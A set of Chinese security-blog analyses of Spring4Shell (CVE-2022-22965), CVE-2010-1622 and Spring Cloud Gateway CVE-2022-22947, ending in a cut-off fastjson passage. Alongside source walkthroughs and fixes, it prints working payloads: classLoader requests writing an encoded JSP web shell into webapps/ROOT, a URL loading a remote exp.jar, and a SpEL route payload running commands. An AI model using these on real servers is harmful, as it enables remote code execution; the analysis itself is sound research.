java.security.ProtectionDomain java.lang.Class.getProtectionDomain() [*]null signers [*]public native java.lang.Object[] java.lang.Class.getSigners() [*]null simpleName [*]public java.lang.String java.lang.Class.getSimpleName() [*]null superclass [*]public native java.lang.Class java.lang.Class.getSuperclass() [*]null synthetic [*]public boolean java.lang.Class.isSynthetic() [*]null typeName [*]public java.lang.String java.lang.Class.getTypeName() [*]null typeParameters [*]public java.lang.reflect.TypeVariable[] java.lang.Class.getTypeParameters() [*]null很多并不意味着都可以用，可以发现这些方法里并没有setXxxx方法。那怎么办？答案是内省。实际上在我们传值的时候，会进入 CachedIntrospectionResults 方法：在该方法中就可以看到JDK内省类库Introspector类中的经典调用方法：Introspector.getBeanInfo，然后就获取到了没有set的属性，在获取了对应的属性后，通过了一系列的调用，进入了newValue()方法在该方法中通过Array.set进行了赋值。因此，即使没有setXxxx的方法，我们也可以通过Java的内省进行赋值。现在返回头继续看看那个列表，实际上目前看来 ，可以被有效利用的只有：classLoader [*]public java.lang.ClassLoader java.lang.Class.getClassLoader() [*]nullclassLoader是一个可以影响所有class加载的重要东西，可以帮助我们改变class加载的一些对象的值，并且不同程序运行环境的classLoader是不一样的，因为Web容器的不同，实现的方式就不一样。现在我们知道classLoader可以拿来被利用，那么怎么去利用呢？前面的class=xxxx的方式是直接赋值的方式，如何通过class调用classLoader，再通过classLoader去调用其他属性呢？这里要说明的一点是，SpringBean解析流程和直接requestparam解析流程是不同的，对于后者不是本文的重点，故不在作更多的解释，有兴趣的可以去搜索SpringMVC参数绑定的相关资料。对于前者，Spring在PropertyAccessor接口中定义了分割符：public interface PropertyAccessor { /** * Path separator for nested properties. * Follows normal Java conventions: getFoo().getBar() would be "foo.bar". */ String NESTED_PROPERTY_SEPARATOR = "."; /** * Path separator for nested properties. * Follows normal Java conventions: getFoo().getBar() would be "foo.bar". */ char NESTED_PROPERTY_SEPARATOR_CHAR = '.'; /** * Marker that indicates the start of a property key for an * indexed or mapped property like "person.addresses[0]". */ String PROPERTY_KEY_PREFIX = "["; /** * Marker that indicates the start of a property key for an * indexed or mapped property like "person.addresses[0]". */ char PROPERTY_KEY_PREFIX_CHAR = '['; /** * Marker that indicates the end of a property key for an * indexed or mapped property like "person.addresses[0]". */ String PROPERTY_KEY_SUFFIX = "]"; /** * Marker that indicates the end of a property key for an * indexed or mapped property like "person.addresses[0]". */ char PROPERTY_KEY_SUFFIX_CHAR = ']';可以看到，在这个接口里定义了嵌套属性的路径分隔符.，并且遵循正常的Java约定，加入Java方法里的调用方式为：getFoo().getBar() ，那么在这里就是 foo.bar此外，在该接口里还定义了一个名为PROPERTY_KEY_PREFIX的变量，用于指示属性的开始，这里的属性指的是索引或映射的属性，例如：person.addresses[0]也就是说，在SpringBean解析流程里是用.作分割符号并对传入的属性进行分割识别的，识别的逻辑如下：protected AbstractNestablePropertyAccessor getPropertyAccessorForPropertyPath(String propertyPath) { // 获取嵌套属性的第一个属性 // 比如对于属性: foo.bar[0].name // 首先获取到 foo 的索引位置 // getFirstNestedPropertySeparatorIndex是详细的方法 int pos = PropertyAccessorUtils.getFirstNestedPropertySeparatorIndex(propertyPath); // Handle nested properties recursively. //递归处理嵌套属性 if (pos > -1) { // 获取所在的属性， 和 要 获取的属性对应的 name String nestedProperty = propertyPath.substring(0, pos); String nestedPath = propertyPath.substring(pos + 1); AbstractNestablePropertyAccessor nestedPa = getNestedPropertyAccessor(nestedProperty); //递归调用 return nestedPa.getPropertyAccessorForPropertyPath(nestedPath); } else { return this; } }来看看getFirstNestedPropertySeparatorIndex方法：private static int getNestedPropertySeparatorIndex(String propertyPath, boolean last) { boolean inKey = false; // 获取对应的属性的长度 int length = propertyPath.length(); int i = (last ? length - 1 : 0); while (last ? i >= 0 : i < length) { // 对所有的字符遍历进行解析，这里增加一个inKey 的flag，要 // 对[ 和 ] 符号做成对的判断 switch (propertyPath.charAt(i)) { case PropertyAccessor.PROPERTY_KEY_PREFIX_CHAR: case PropertyAccessor.PROPERTY_KEY_SUFFIX_CHAR: inKey = !inKey; break; case PropertyAccessor.NESTED_PROPERTY_SEPARATOR_CHAR: // 如果出现'.' ,说明存在嵌套属性，并且 inKey =false ,说明在这之前[ ] 是成对匹配的 // 返回对应的 index 位置 if (!inKey) { return i; } } if (last) { i--; } else { i++; } } return -1; }在该方法中首先会获取属性的长度，然后对所有的字符遍历解析，并且对指示属性键的开始符号[进行成对判断，如果在路径中出现了.，那么认为存在嵌套属性，然后返回getPropertyAccessorForPropertyPath到方法，去递归处理嵌套属性。到这里相信大家就明白是怎么一回事了，所以如果我们想通过class去调用classLoader的属性，只需要通过class.classLoader的方式即可。并且前面我们也提到了可以通过Java的内省来赋值，所以我们只需要找到classLoader中一个可以利用的属性，就可以达到我们想要的目的——RCE。对于CVE-2010-1622，利用的方式是http://localhost:8080/index?class.classLoader.URLs[0]=jar:http://xxxx.com/exp.jar!/setPropertyValue将jar:http://xxxx.com/exp.jar!/参数传到URLs[]中，然后经过jsp页面渲染时，通过一些列类的调用，最终对exp.jar进行了加载，触发了RCE。CVE-2010-1622漏洞过后，Spring官方和Tomcat的官方都对漏洞进行了修复。Tomcat的做法是，在 6.0.28 版本后把getURLs方法返回的值改成了clone的，这使的我们获得的clone的值无法修改classloader中的URLs[]Spring官方的做法则是在CachedIntrospectionResults中获取beanInfo后对其进行了判断，将classloader添加进了黑名单：CVE-2022-22965这漏洞对这个判断进行了绕过，自从JDK 9+开始，JDK引入了模块（Module）的概念，就可以通过module来调用JDK模块下的方法，而module并不在黑名单中，所以能够绕过黑名单。如：class.module.classLoader.xxxx但是Tomcat已经把URL[]的方式给干掉了，应该如何利用呢？目前主流的应用方式是通过Tomcat Access Log来写shell。在 conf 目录下的 server.xml 文件里可以通过AccessLogValve对Access Log进行配置，如：<Valve className="org.apache.catalina.valves.AccessLogValve" directory="logs" prefix="access." suffix=".log" pattern="%h %l %u %t "%r" %s %b "%{Referer}i" "%{User-Agent}i" %{X-Forwarded-For}i "%Dms"" resolveHosts="false"/>然后便会在指定目录下生成access.log的文件前文提到了，在Spring中的万物都是SpringBean，那么通过xml文件加载的配置属性，实际上也是可以被配置修改的，但是具体的是哪个属性觉得的，需要去寻找遍历出来： @RequestMapping("/testclass") public void classTest(){ HashSet<Object> set = new HashSet<Object>(); String poc = "class.moduls.classLoader"; User action = new User(); processClass(action.getClass().getClassLoader(),set,poc); } public void processClass(Object instance, java.util.HashSet set, String poc){ try { Class<?> c = instance.getClass(); set.add(instance); Method[] allMethods = c.getMethods(); for (Method m : allMethods) { if (!m.getName().startsWith("set")) { continue; } if (!m.toGenericString().startsWith("public")) { continue; } Class<?>[] pType = m.getParameterTypes(); if(pType.length!=1) continue; if(pType[0].getName().equals("java.lang.String")|| pType[0].getName().equals("boolean")|| pType[0].getName().equals("int")){ String fieldName = m.getName().substring(3,4).toLowerCase()+m.getName().substring(4); System.out.println(poc+"."+fieldName); // System.out.println(m.getName()); } } for (Method m : allMethods) { if (!m.getName().startsWith("get")) { continue; } if (!m.toGenericString().startsWith("public")) { continue; } Class<?>[] pType = m.getParameterTypes(); if(pType.length!=0) continue; if(m.getReturnType() == Void.TYPE) continue; m.setAccessible(true); Object o = m.invoke(instance); if(o!=null) { if(set.contains(o)) continue; processClass(o, set, poc+"."+m.getName().substring(3,4).toLowerCase()+m.getName().substring(4)); } } } catch (IllegalAccessException | InvocationTargetException x) { x.printStackTrace(); } }可以发现以下属性：class.classLoader.resources.context.parent.pipeline.first.directory = class.classLoader.resources.context.parent.pipeline.first.prefix = class.classLoader.resources.context.parent.pipeline.first.suffix = class.classLoader.resources.context.parent.pipeline.first.fileDateFormat =组合使用即可在指定文件位置，创建一个指定后缀名的文件具体怎么发现的就不提了，因为 Struts2 S2-020 漏洞中就有这样的利用方式，可以参考：https://cloud.tencent.com/developer/article/1035297不过与上文不同的是，我觉得EL表达式的方法更好用，依次提交以下请求：class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT class.module.classLoader.resources.context.parent.pipeline.first.prefix=shell class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp class.module.classLoader.resources.context.parent.pipeline.first.pattern=%24%7b%70%61%67%65%43%6f%6e%74%65%78%74%2e%73%65%74%41%74%74%72%69%62%75%74%65%28%22%69%6e%70%75%74%53%74%72%65%61%6d%22%2c%20%52%75%6e%74%69%6d%65%2e%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%70%61%72%61%6d%2e%63%6d%64%29%2e%67%65%74%49%6e%70%75%74%53%74%72%65%61%6d%28%29%29%3b%54%68%72%65%61%64%2e%73%6c%65%65%70%28%31%30%30%30%29%3b%70%61%67%65%43%6f%6e%74%65%78%74%2e%73%65%74%41%74%74%72%69%62%75%74%65%28%22%69%6e%70%75%74%53%74%72%65%61%6d%41%76%61%69%6c%61%62%6c%65%22%2c%20%70%61%67%65%43%6f%6e%74%65%78%74%2e%67%65%74%41%74%74%72%69%62%75%74%65%28%22%69%6e%70%75%74%53%74%72%65%61%6d%22%29%2e%61%76%61%69%6c%61%62%6c%65%28%29%29%3b%70%61%67%65%43%6f%6e%74%65%78%74%2e%73%65%74%41%74%74%72%69%62%75%74%65%28%22%62%79%74%65%42%75%66%66%65%72%43%6c%61%73%73%22%2c%20%43%6c%61%73%73%2e%66%6f%72%4e%61%6d%65%28%22%6a%61%76%61%2e%6e%69%6f%2e%42%79%74%65%42%75%66%66%65%72%22%29%29%3b%70%61%67%65%43%6f%6e%74%65%78%74%2e%73%65%74%41%74%74%72%69%62%75%74%65%28%22%61%6c%6c%6f%63%61%74%65%4d%65%74%68%6f%64%22%2c%20%70%61%67%65%43%6f%6e%74%65%78%74%2e%67%65%74%41%74%74%72%69%62%75%74%65%28%22%62%79%74%65%42%75%66%66%65%72%43%6c%61%73%73%22%29%2e%67%65%74%4d%65%74%68%6f%64%28%22%61%6c%6c%6f%63%61%74%65%22%2c%20%49%6e%74%65%67%65%72%2e%54%59%50%45%29%29%3b%70%61%67%65%43%6f%6e%74%65%78%74%2e%73%65%74%41%74%74%72%69%62%75%74%65%28%22%68%65%61%70%42%79%74%65%42%75%66%66%65%72%22%2c%20%70%61%67%65%43%6f%6e%74%65%78%74%2e%67%65%74%41%74%74%72%69%62%75%74%65%28%22%61%6c%6c%6f%63%61%74%65%4d%65%74%68%6f%64%22%29%2e%69%6e%76%6f%6b%65%28%6e%75%6c%6c%2c%20%70%61%67%65%43%6f%6e%74%65%78%74%2e%67%65%74%41%74%74%72%69%62%75%74%65%28%22%69%6e%70%75%74%53%74%72%65%61%6d%41%76%61%69%6c%61%62%6c%65%22%29%29%29%3b%70%61%67%65%43%6f%6e%74%65%78%74%2e%67%65%74%41%74%74%72%69%62%75%74%65%28%22%69%6e%70%75%74%53%74%72%65%61%6d%22%29%2e%72%65%61%64%28%70%61%67%65%43%6f%6e%74%65%78%74%2e%67%65%74%41%74%74%72%69%62%75%74%65%28%22%68%65%61%70%42%79%74%65%42%75%66%66%65%72%22%29%2e%61%72%72%61%79%28%29%2c%20%30%2c%20%70%61%67%65%43%6f%6e%74%65%78%74%2e%67%65%74%41%74%74%72%69%62%75%74%65%28%22%69%6e%70%75%74%53%74%72%65%61%6d%41%76%61%69%6c%61%62%6c%65%22%29%29%3b%70%61%67%65%43%6f%6e%74%65%78%74%2e%73%65%74%41%74%74%72%69%62%75%74%65%28%22%62%79%74%65%41%72%72%54%79%70%65%22%2c%20%70%61%67%65%43%6f%6e%74%65%78%74%2e%67%65%74%41%74%74%72%69%62%75%74%65%28%22%68%65%61%70%42%79%74%65%42%75%66%66%65%72%22%29%2e%61%72%72%61%79%28%29%2e%67%65%74%43%6c%61%73%73%28%29%29%3b%70%61%67%65%43%6f%6e%74%65%78%74%2e%73%65%74%41%74%74%72%69%62%75%74%65%28%22%73%74%72%69%6e%67%43%6c%61%73%73%22%2c%20%43%6c%61%73%73%2e%66%6f%72%4e%61%6d%65%28%22%6a%61%76%61%2e%6c%61%6e%67%2e%53%74%72%69%6e%67%22%29%29%3b%70%61%67%65%43%6f%6e%74%65%78%74%2e%73%65%74%41%74%74%72%69%62%75%74%65%28%22%73%74%72%69%6e%67%43%6f%6e%73%74%72%75%63%74%6f%72%22%2c%20%70%61%67%65%43%6f%6e%74%65%78%74%2e%67%65%74%41%74%74%72%69%62%75%74%65%28%22%73%74%72%69%6e%67%43%6c%61%73%73%22%29%2e%67%65%74%43%6f%6e%73%74%72%75%63%74%6f%72%28%70%61%67%65%43%6f%6e%74%65%78%74%2e%67%65%74%41%74%74%72%69%62%75%74%65%28%22%62%79%74%65%41%72%72%54%79%70%65%22%29%29%29%3b%70%61%67%65%43%6f%6e%74%65%78%74%2e%73%65%74%41%74%74%72%69%62%75%74%65%28%22%73%74%72%69%6e%67%52%65%73%22%2c%20%70%61%67%65%43%6f%6e%74%65%78%74%2e%67%65%74%41%74%74%72%69%62%75%74%65%28%22%73%74%72%69%6e%67%43%6f%6e%73%74%72%75%63%74%6f%72%22%29%2e%6e%65%77%49%6e%73%74%61%6e%63%65%28%70%61%67%65%43%6f%6e%74%65%78%74%2e%67%65%74%41%74%74%72%69%62%75%74%65%28%22%68%65%61%70%42%79%74%65%42%75%66%66%65%72%22%29%2e%61%72%72%61%79%28%29%29%29%3b%70%61%67%65%43%6f%6e%74%65%78%74%2e%67%65%74%41%74%74%72%69%62%75%74%65%28%22%73%74%72%69%6e%67%52%65%73%22%29%7d class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=1然后任意URL发起请求会在就根目录生成 webapps/ROOT/shell1.jsp实际上我觉得应该还有其他的方式可以利用，应该是EL表达式，具体对应属性，可能还需要研究一下。漏洞的解决办法官方已经提供的很详细了，可以参考：https://spring.io/blog/2022/03/31/spring-framework-rce-early-announcement漏洞的无害探测，实际上有一些师傅说了一些看法，如设置cookies的path class.module.classLoader.resources.context.sessionCookiePath=/AAA ，然后观察站点的path的即可，但这种方法对站点还是有一定的影响的，即使改成了class.module.classLoader.resources.context.sessionCookiePath=/，但也不一定是原来的设定值了；还如设置class.module.classLoader.DefaultAssertionStatus=x，x为 0、1 时正常，其他值的时候，返回400，说明就有漏洞，这个方式比较好，但如果设置了统一的报错信息，那也没有用。所以更好的探测方式师傅们可以继续研究一波0x04 漏洞修复和 CVE-2010-1622 漏洞一样，Spring官方和Tomcat都对这个漏洞进行了修复。Tomcat是对获取resources的方法给改成了null，使我们没办法通过resources的方法来修改Access Log配置信息：Spring官方则是完全限制死了，首先是对传入的属性进行了判断，第一是只允许为name并以Name结尾的属性，第二是属性返回的类型不是Classloader及Classloader子类：如果能绕过，我想只有类似于Java沙箱逃逸那种方式，利用类型混淆漏洞来绕过了，不过要找到为name并以Name结尾的属性，且可以利用的，能够利用其进行强制类型转换的，有点难。0x05 写在最后最后首先来回答一下最开始的三个问题如何去解决。第一，基础不牢的问题。基础这个概念很广泛，广泛到什么都可以是基础，什么都可以不是基础，对于不是计算机专业的人来说，计算机的知识不是基础，是知识高度，但对于计算机专业的人来说，它是基础，同样的，对于不同的人来说，基础也是不同的。你也不知道你应该要学习哪些基础，并非是学习了数据结构、计算机网络或者操作系统这些基础科目就能帮你了解其他的所有事情的基础知识，这不现实，也不可能（当然这并不意味着数据结构、计算机网络或者操作系统这些基础科目不重要，只可能是因为你从事的工作内容并不需要这些东西）。那么应该如何去打牢基础呢？我的答案是看你在做什么，如果你在做的事情是普通的代码审计，那么你的基础就是各个漏洞的基础原理、代码审计常用的审计方法和流程以及各种漏洞组合利用的tips点；如果你在做的事情是对一个框架的安全性进行分析，那么你的基础就是了解这个框架的特色机制以及特色机制实现的原理、了解这个框架特色机制可能造成的BUG或者意料之外的操作（可以翻阅issue、release说明等文档）、了解这个框架的数据流是如何运作的以及了解这个框架的基础用法；如果你在做的事情是对框架底层的实现进行安全分析，那么你的基础可能是前面的基础之和了。越难做的事情，其要求的基础也就越高。第二，积累不够的问题。积累的方式和手段有很多，小到做个备忘录记个tips，大到写本书做个自我总结，都是积累的方式，对于我来说可能就是分析并记录当前爆出的一些漏洞，这也是为什么已经有很多人发了 Spring Framework RCE漏洞的分析文章我还要写下此文的原因。别人写的东西只有自己吸收了，才是自己的，而你自己写的东西，很多时候你能够体会到文章里没有描述出的内容，这些内容可能给你带来新的灵感，并且目前我也在践行这个方法。比如我在分析SpringCloud Gateway漏洞的时候，就根据同原理发现了SpringCLoud Function 的 CVE-2022-22963 漏洞（虽然被别人撞了），这些是很多没有去记录的人容易忽视的东西。好记性不如烂笔头。第三，知识的广度的问题。知识的广度这个概念是个泛概念，因为你也不知道你所了解的东西或者知识面在整个安全的海洋中占据了多少面积，所以这个时候需要外力的帮助，一是有经验的人告诉你应该去掌握或者了解哪些东西，而是看看别人掌握了哪些东西或者正在了解学习哪些东西。交流，是快速提升自我和找到不足的途径。其实没有一蹴而就的事情，很多时候都需要时间去帮你解决，这三个问题也同样如此，都需要时间慢慢的帮你变得强大，当然更多的是靠你自己主动去学习，生命不息，学习不止。写下本文的目的一是做个漏洞分析总结，二是分享一些自己关于这个漏洞思考的其他感悟，如有不足，愿与君共勉。最后感谢一些梅子师傅和彪哥的指点。0x06 参考https://spring.io/blog/2022/03/31/spring-framework-rce-early-announcementhttps://segmentfault.com/a/1190000014833730https://www.liaoxuefeng.com/wiki/1252599548343744/1260474416351680https://juejin.cn/post/6900011887568617485https://www.jianshu.com/p/6eba6f6a293dhttps://www.redoc.top/article/178/Spring%20IOC%20%E5%AE%B9%E5%99%A8%E6%BA%90%E7%A0%81%E5%88%86%E6%9E%90%20-%20%E5%A1%AB%E5%85%85%E5%B1%9E%E6%80%A7%E5%88%B0%20bean%20%E5%8E%9F%E5%A7%8B%E5%AF%B9%E8%B1%A1https://www.cnblogs.com/peida/archive/2013/06/03/3090842.htmlhttp://rui0.cn/archives/1158===========================================更新（2022.04.22）有师傅给我发邮件提出了文章中的一个问题我在前文中提到，利用属性赋值的时候，实际上是通过Array.set进行了赋值但这位师傅提出：这应该是对特定类型的一种补充，但是在利用的时候，我们选择的是class.module.classLoader.resources.context.parent.pipeline.first其对应的类为org.apache.catalina.valves.AccessLogValve，里面大多数属性是String类型，并且是包含set方法的。所以这里的确是通过内省的方法，递归找到了最后的属性，(即使前面的属性没有set方法也没有关系）但是最后赋值的这一步，还是通过反射调用set方法来实现的。我思考了这个问题，认为这位师傅是正确的，在这里补充一下，免得误解大家，为我的不仔细道歉
从SSRF 到 RCE —— 对 Spring Cloud Gateway RCE漏洞的分析
0x01 写在前面本周二（3.1）的时候Spring官方发布了 Spring Cloud Gateway CVE 报告其中编号为 CVE-2022-22947 Spring Cloud Gateway 代码注入漏洞的严重性为危急，周三周四的时候就有不少圈内的朋友发了分析和复现过程，由于在工作和写论文，就一直没去跟踪看看，周末抽了点时间对这个漏洞进行复现分析了一下。还是挺有意思的。0x02 从SSRF说起看到这个漏洞利用流程的时候，就有一种熟悉的既视感，回去翻了翻陈师傅的星球，果然：去年12月的时候，陈师傅提了一个 actuator gateway 的 SSRF漏洞，这个漏洞来自 wya作者在文章中提到，通过Spring Cloud Gateway 执行器（actuator）提供的管理功能就可以对路由进行添加、删除等操作。因此作者利用 actuator 提供的路由添加功能，并根据官方示例，如下图：添加了一个路由：POST /actuator/gateway/routes/new_route HTTP/1.1 Host: 127.0.0.1:9000 Connection: close Content-Type: application/json { "predicates": [ { "name": "Path", "args": { "_genkey_0": "/new_route/**" } } ], "filters": [ { "name": "RewritePath", "args": { "_genkey_0": "/new_route(?<path>.*)", "_genkey_1": "/${path}" } } ], "uri": "https://wya.pl", "order": 0 }在执行 refresh 操作后，作者成功执行了一个SSRF请求（向https://wya.pl/index.php发起的请求）：陈师傅最后还在星球里给了个演示的实例：https://github.com/API-Security/APISandbox/blob/main/OASystem/README.md先不具体讨论为什么payload会这样写，如果你熟悉 CVE-2022-22947 的payload，那么看到这里你一定会有同样的熟悉感。是的，CVE-2022-22947 这个漏洞实际上就是这个 SSRF 的进阶版，并且触发SSRF的原理并不复杂首先利用/actuator/gateway/routes/{new route}的方式指定一个URL地址，并针对该地址添加一个路由POST /actuator/gateway/routes/new_route HTTP/1.1 Host: 127.0.0.1:8080 Connection: close Content-Type: application/json { "predicates": [ { "name": "Path", "args": { "_genkey_0": "/new_route/**" } } ], "filters": [ { "name": "RewritePath", "args": { "_genkey_0": "/new_route(?<path>.*)", "_genkey_1": "/${path}" } } ], "uri": "https://www.cnpanda.net", "order": 0 } 然后刷新令这个路由生效：POST /actuator/gateway/refresh HTTP/1.1 Host: 127.0.0.1:8080 Connection: close Content-Type: application/json { "predicate": "Paths: [/new_route], match trailing slash: true", "route_id": "new_route", "filters": [ "[[RewritePath /new_route(?<path>.*) = /${path}], order = 1]" ], "uri": "https://www.cnpanda.net", "order": 0 }最后直接访问/new_route/index.php即可触发SSRF漏洞。到这里有两个问题：第一，payload为什么会这样写？第二，整个请求流程是什么样的？首先来看第一个问题，payload为什么会这样写上文中我们提到了Spring Cloud Gateway官方给的实例如下：{ "id": "first_route", "predicates": [{ "name": "Path", "args": {"_genkey_0":"/first"} }], "filters": [], "uri": "https://www.uri-destination.org", "order": 0 } 这实例对比一下SSRF的payload，我们可以发现，在SSRF的payload中多了对过滤器（filters）的具体定义。而纵观整个payload，实际上可以发现，其就是一个动态路由的配置过程。在Spring Cloud Gateway中，路由的配置分为静态配置和动态配置，对于静态配置而言，一旦要添加、修改或者删除内存中的路由配置和规则，就必须重启才可以。但在现实生产环境中，使用 Spring Cloud Gateway 都是作为所有流量的入口，为了保证系统的高可用性，需要尽量避免系统的重启，因而一般情况下，Spring Cloud Gateway使用的都是动态路由。Spring Cloud Gateway 配置动态路由的方式有两种，第一种就是比较常见的，通过重写代码，实现一套动态路由方法，如这里就有一个动态路由的配置过程。第二种就是上文中SSRF这种方式，但是这种方式是基于jvm内存实现，一旦服务重启，新增的路由配置信息就是完全消失了。这也是P师傅在v2ex上回答的原理所以其实payload就是比较固定的格式，首先定义一个谓词（predicates），用来匹配来自用户的请求，然后再增加一个内置或自定义的过滤器（filters），用于执行额外的功能逻辑。payload中我们用的是重写路径过滤器（RewritePath），类似的还有设置路径过滤器（SetPath）、去掉URL前缀过滤器（StripPrefix）等，具体可以参考gateway内置的filter这张图：以及gateway内置的Global Filter图：第一个问题搞懂了就可以看看第二个问题了：整个请求流程是什么样的？还是如上例所演示的，当在浏览器中向127.0.0.1:8080地址发起根路径为/new_route的请求时，会被 Spring Cloud Gateway 转发请求到https://www.cnpanda.net/的根路径下比如，我们向127.0.0.1:8080地址发起为/new_route/index.php的请求，那么实际上会被 Spring Cloud Gateway 转发请求到https://www.cnpanda.net/index.php的路径下，官方在其官方文档（Spring Cloud GateWay工作流程）简单说明了流程：看起来比较简单，实际上要复杂的多，我做了一个更详细一点图帮助大家理解：我们首先向浏览器发送http://127.0.0.1:8080/new_route/index.php 的请求，浏览器接收该请求后交给Spring Cloud Gateway，由Spring Cloud Gateway 进行内部处理，首先是在 Gateway Handler Mapping 模块中找到与/new_route/index.php请求相匹配的路由，然后将其发送到Gateway Web Handler模块，在这个模块中首先进入globalFilters中，由 globalFilters(NettyWriteResponseFilter、ForwardPathFilter、RouteToRequestUrlFilter、LoadBalancerClientFilter、AdaptCachedBodyGlobalFilter、WebsocketRoutingFilter、NettyRoutingFilter、ForwardRoutingFilter) 作为构造器参数创建 FilteringWebHandler。如下图，可以在 NettyRoutingFilter 中看到我们请求的中间态：然后，再由 FilteringWebHandler 运行特定的请求过滤器链，所有 Pre 过滤器(前过滤器)逻辑先执行，然后再向Proxied Service 执行代理请求，代理请求完成后，再由 Proxied Service 返回到 Gateway Web Handler模块去执行 post 过滤器(后过滤器)逻辑，最后由NettyWriteResponseFilter 返回响应内容到我们。响应过程可以参考网关 Spring-Cloud-Gateway 源码解析 —— 过滤器 (4.7) 之 NettyRoutingFilter：最终一次完整SSRF响应请求就形成了。实际上这种的 SSRF 属于Spring Cloud Gateway 本身的功能带来的”副产品“，类似于PHPMyadmin后台的SQL注入漏洞。0x03 CVE-2022-22947 分析如果你认真的看完了上一节的内容，那么你现在可能会对这个漏洞有了更多的认识。漏洞的触发点在于我们熟知的SpEL表达式实际上现在不具体分析源码，根据已有payload或者官方修复diff，你也应该能够得到一个结论：在动态添加路由的过程中，某个filter可以对传入进来的值进行SpEL表达式解析，从而造成了远程代码执行漏洞那么到底是不是如此呢？根据这种思路，通过source和sink，然后向上向下连线的方式来验证先来看看source，即创建路由时的payload：{ "id": "hacktest", "filters": [{ "name": "AddResponseHeader", "args": { "name": "Result", "value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"id\"}).getInputStream()))}" } }], "uri": "http://example.com" }可以看到这里使用的filter是AddResponseHeader，由于我们已经猜测是SPEL表达，因此我们直接搜索SpEL的触发点StandardEvaluationContext：可以发现，在 ShortcutConfigurable 接口的getValue方法中，使用了StandardEvaluationContext，并且对传入的 SpEL 表达式进行了解析那么接着查找 ShortcutConfigurable 接口的实现类有哪些：可以看到有很多，但是我们要找的是与AddResponseHeader过滤器相关的类，AddResponseHeader过滤器的工厂类是org.springframework.cloud.gateway.filter.factory#AddResponseHeaderGatewayFilterFactory，因此根据模块名我们可以直接确定位置：逐一查看会发现：AddResponseHeaderGatewayFilterFactory 继承于 AbstractNameValueGatewayFilterFactoryAbstractNameValueGatewayFilterFactory 继承于 AbstractGatewayFilterFactoryAbstractGatewayFilterFactory 实现了 GatewayFilterFactory 接口GatewayFilterFactory 接口继承于 ShortcutConfigurable因此当从 AddResponseHeaderGatewayFilterFactory 传入的值进行计算（getValue()）的时候，会逐一向上调用对应的方法，直到进入带有 SpEL 表达式解析器的位置进行最后的解析，也从而触发了SpEL表达式注入漏洞。最后我们也可以直接进入 AddResponseHeaderGatewayFilterFactory 类回顾看看：public class AddResponseHeaderGatewayFilterFactory extends AbstractNameValueGatewayFilterFactory { @Override public GatewayFilter apply(NameValueConfig config) { return new GatewayFilter() { @Override public Mono<Void> filter(ServerWebExchange exchange, GatewayFilterChain chain) { String value = ServerWebExchangeUtils.expand(exchange, config.getValue()); exchange.getResponse().getHeaders().add(config.getName(), value); return chain.filter(exchange); } @Override public String toString() { return filterToStringCreator(AddResponseHeaderGatewayFilterFactory.this) .append(config.getName(), config.getValue()).toString(); } }; } }可以看到，首先在apply方法中传入了NameValueConfig类型的config，点进去可以看到NameValueConfig类型有两个值，并且不能为空：可以看到，NameValueConfig 在AbstractNameValueGatewayFilterFactory中，AbstractNameValueGatewayFilterFactory是AddResponseHeaderGatewayFilterFactory的父类，在父类中进行了getValue()操作，并且可以看到 config 中通过 getValue() 返回的 value 值就是我们所执行的SpEL表达式返回的结果：0x04 漏洞修复由于是SpEL表达式注入漏洞，而引起这个漏洞的原因一般是使用了 StandardEvaluationContext 方法去解析表达式，解析表达式的方法有两个：SimpleEvaluationContext - 针对不需要SpEL语言语法的全部范围并且应该受到有意限制的表达式类别，公开SpEL语言特性和配置选项的子集。StandardEvaluationContext - 公开全套SpEL语言功能和配置选项。您可以使用它来指定默认的根对象并配置每个可用的评估相关策略。SimpleEvaluationContext旨在仅支持SpEL语言语法的一个子集，不包括 Java类型引用、构造函数和bean引用。而StandardEvaluationContext 支持全部SpEL语法。所以根据功能描述，将StandardEvaluationContext方法用 SimpleEvaluationContext 方法替换即可。官方的修复方法是利用 BeanFactoryResolver 的方式去引用Bean，然后将其传入官方自己写的一个解析的方法GatewayEvaluationContext中：此外，官方还给了建议：如果不需要Gateway actuator的endpoint功能，就关了它吧，如果需要，那么就利用 Spring Security 对其进行保护，具体的保护方式可以参考：https://docs.spring.io/spring-boot/docs/current/reference/html/actuator.html#actuator.endpoints.security0x05 写在最后这个漏洞的原理还是比较清晰的，可惜没能通过陈师傅在星球发的那个SSRF漏洞更深的去分析，尝试挖掘新的漏洞，果然，成功是留给有心人的呀！在这里提醒一下，在实际环境中，如果由于某种原因删除不起作用，有可能会导致刷新请求失败，那么就会有可能会导致站点出现问题，所以在实际测试的过程中，建议别乱搞，不然就要重启站点了。最后，这个漏洞像不像是官方提供的一种内存马？（hhhhhhhh文笔有限，如果文章有错误，欢迎师傅们指正PS：再给陈师傅星球打一波广告0x06 参考https://juejin.cn/post/6844903639840980999https://blog.csdn.net/qq_38233650/article/details/98038225https://github.com/vulhub/vulhub/blob/master/spring/CVE-2022-22947/README.zh-cn.mdhttps://github.com/spring-cloud/spring-cloud-gateway/commit/337cef276bfd8c59fb421bfe7377a9e19c68fe1e
去年写的文章，没发出来，给公众号增加点内容，也留点笔记写在前面自2017年3月15日 fastjson 1.2.24版本被爆出反序列化漏洞以来，其就成为了安全人员中的重 点研究对象，即使后来 fastjson 为了安全设置了checkAutoType 防御机制，也依旧没能完全杜 绝新的漏洞产生，结合今日BlackHat 大会上玄武实验室的《How i use json deserialization》 议题，来看看这个漏洞。Fastjson的两个机制fastjson中产生漏洞的根本原因在于其 autoType 机制，以及针对于 autoType 机制做的 checkAutoType 检测防御机制，先来具体看看这两个机制。Autotype首先来谈谈为什么要有autotype这个机制 功能来源于需求，这是在开发过程中的准则之一，没有人会去做一个没有需求的功能，在fastjson中亦是如此。当我们使用fastjson中的JSON.parseObject(jsonstr, xxx.class)方法的时候，如果xxx是一个抽象 类或接口，那么我们得到的结果会是NULL，也就是说我们没有办法去指定一个抽象类或接 口，只能根据json字符串中的实现类的信息去帮助开发者解析成对应的实现类。问题出现， 那么需求就来了，如何实现fasjton对多态的支持?是的，fastjson给了我们答案——autotype 机制。在fastjson中，当要将具体的实现类解析为json字符串的同时，开发者可以为其指定 SerializerFeature，然后通过添加 SerializerFeature.WriteClassName 的方式，使得在生成的 